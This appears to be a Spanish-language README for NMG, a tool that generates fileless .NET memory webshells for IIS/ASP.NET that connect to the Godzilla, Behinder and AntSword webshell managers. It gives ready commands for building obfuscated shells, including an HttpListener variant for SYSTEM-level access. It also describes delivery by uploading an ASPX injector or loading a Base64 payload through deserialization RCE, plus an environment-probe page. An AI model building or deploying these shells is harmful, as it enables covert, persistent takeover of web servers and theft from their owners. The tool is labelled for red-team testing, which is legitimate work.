
Genera payloads de memory-shell de .NET parametrizados (VPP, ruta MVC, HttpListener) compatibles con los clientes Godzilla, Behinder y AntSword para pruebas de red team.
Generador parametrizado de memory shells para .NET | Red team / pruebas de seguridad | Equivalente a JMG para .NET
+-----------------------------------------------------+
| nmg.exe (CLI) |
+------------------------+----------------------------+
| generate (payload) | probe (env detection) |
+------------------------+----------------------------+
| Protocol Layer |
| +----------+ +----------+ +----------+ |
| | Godzilla | | Behinder | | AntSword | |
| | AES-128 | | AES-128 | | Base64 | |
| +----------+ +----------+ +----------+ |
+------------------------------------------------------+
| Template Layer |
| +----------+ +----------+ +--------------+ |
| | VPP | | Route | | HttpListener | |
| | IIS hook | |MVC Route | | Standalone | |
| +----------+ +----------+ +--------------+ |
+------------------------------------------------------+
| Compilation Engine |
| Roslyn -> DLL (net40/net472) |
| deterministic / XOR obfuscated / randomized |
+------------------------------------------------------+
| Output Layer |
| aspx injector / base64 / dll |
+------------------------------------------------------+
NMG genera payloads de memory shell de .NET parametrizados que se inyectan en aplicaciones IIS/ASP.NET sin dejar archivos en disco. Tras la inyección, te conectas con los gestores de webshell existentes (Godzilla / Behinder / AntSword): NMG solo hace que funcione el lado del servidor.
Piénsalo así: parámetros de entrada -> payload compilado -> inyección -> conexión con el cliente
| Tipo | Objetivo | .NET Framework | Punto de activación |
|---|---|---|---|
vpp | IIS/ASP.NET | 2.0+ | VirtualPathProvider.GetCacheKey |
route | MVC/WebAPI | 3.5+ | RouteBase.GetRouteData |
httplistener | Standalone/SYSTEM | 2.0+ | HttpListener (independiente de IIS) |
| Protocolo | Cliente | Cifrado | Verificado |
|---|---|---|---|
godzilla | Godzilla 4.x | AES-128 (key=MD5(pass+key)[0:16]) | ✅ Extremo a extremo |
behinder | Behinder 4.x | AES-128 (key=MD5(pass)[0:16] bytes sin procesar) | ✅ Extremo a extremo |
antsword | AntSword | Base64 | ✅ Extremo a extremo |
| Formato | Caso de uso |
|---|---|
aspx | Subir a un directorio con permisos de escritura, acceder una vez para inyectar |
b64 | Para entrega mediante RCE vía deserialización/inyección de expresiones |
dll | DLL sin procesar para cargadores personalizados |
| Comando | Propósito |
|---|---|
generate | Generar payload de memory shell |
probe | Generar aspx de detección de entorno (informa CLR/trust/MVC/VPP) |
version | Mostrar versión |
help | Mostrar uso |
Interfaz web integrada con tema Inset Dark (minimalismo estilo Linear):
cd src/Api && dotnet run --urls "http://127.0.0.1:9901"
# Open http://127.0.0.1:9901
# VPP memory shell, Godzilla protocol, net40 target
nmg generate --type vpp --shell godzilla --pass p@ss123 --seed 42
# Route memory shell for MVC targets
nmg generate --type route --shell godzilla --pass mypass --target net472
# HttpListener for SYSTEM-level access
nmg generate --type httplistener --pass root --path "http://*:8080/cmd/"
# AntSword protocol
nmg generate --type vpp --shell antsword --pass mypass
# Generate environment probe page
nmg probe -o probe.aspx
# Output as Base64 for deserialization delivery
nmg generate --type vpp --shell godzilla --pass p@ss123 --format b64 -o payload.b64
Método 1 — inyector ASPX:
.aspx generado a cualquier directorio con permisos de escritura en el objetivoAssembly.Load + el registro de VPP).aspx/.ashx/.asmx existente en el sitioMétodo 2 — Base64 (entrega de RCE): Ejecuta en cualquier punto de ejecución de código:
Assembly.Load(Convert.FromBase64String("<payload>"))
Sube el probe.aspx generado y accede a él una vez. Devuelve JSON con:
{
"clr": "4.0.30319.42000",
"trustLevel": "Full",
"mvc": false,
"vpp": "Net.Net.Loader.PathHandler74",
"appPool": "NmgLab"
}
Úsalo para determinar qué tipo de shell de memoria y protocolo usar.
ASP.xxx_aspx+ClassNamedotnet build
dotnet test
dotnet publish src -c Release -r win-x64 --self-contained -o publish/
nmg/
├── src/
│ ├── Program.cs # CLI entry point
│ ├── GenerateOptions.cs # generate pipeline (protocol × type × format)
│ ├── ProbeCommand.cs # probe subcommand
│ ├── Shells/
│ │ ├── GodzillaCSharp.cs # Godzilla protocol (AES-128)
│ │ ├── BehinderNet.cs # Behinder protocol (AES-128 raw bytes)
│ │ └── AntSwordNet.cs # AntSword protocol (Base64)
│ ├── Templates/
│ │ ├── VppTemplate.cs # VirtualPathProvider registrar
│ │ ├── RouteTemplate.cs # RouteBase registrar
│ │ ├── HttpListenerTemplate.cs
│ │ └── ProbeTemplate.cs # Environment probe page
│ ├── Compiler/
│ │ └── RoslynCompiler.cs # Multi-target deterministic Roslyn
│ ├── Randomizer/
│ │ └── SeedRandom.cs # Deterministic randomization
│ ├── Formats/
│ │ ├── AspxInjector.cs # Self-contained aspx injector page
│ │ └── Base64Output.cs # Raw Base64 output
│ └── Api/
│ ├── Program.cs # ASP.NET Core minimal API
│ └── wwwroot/index.html # Web UI (Inset Dark)
└── tests/ # 35 unit tests
MIT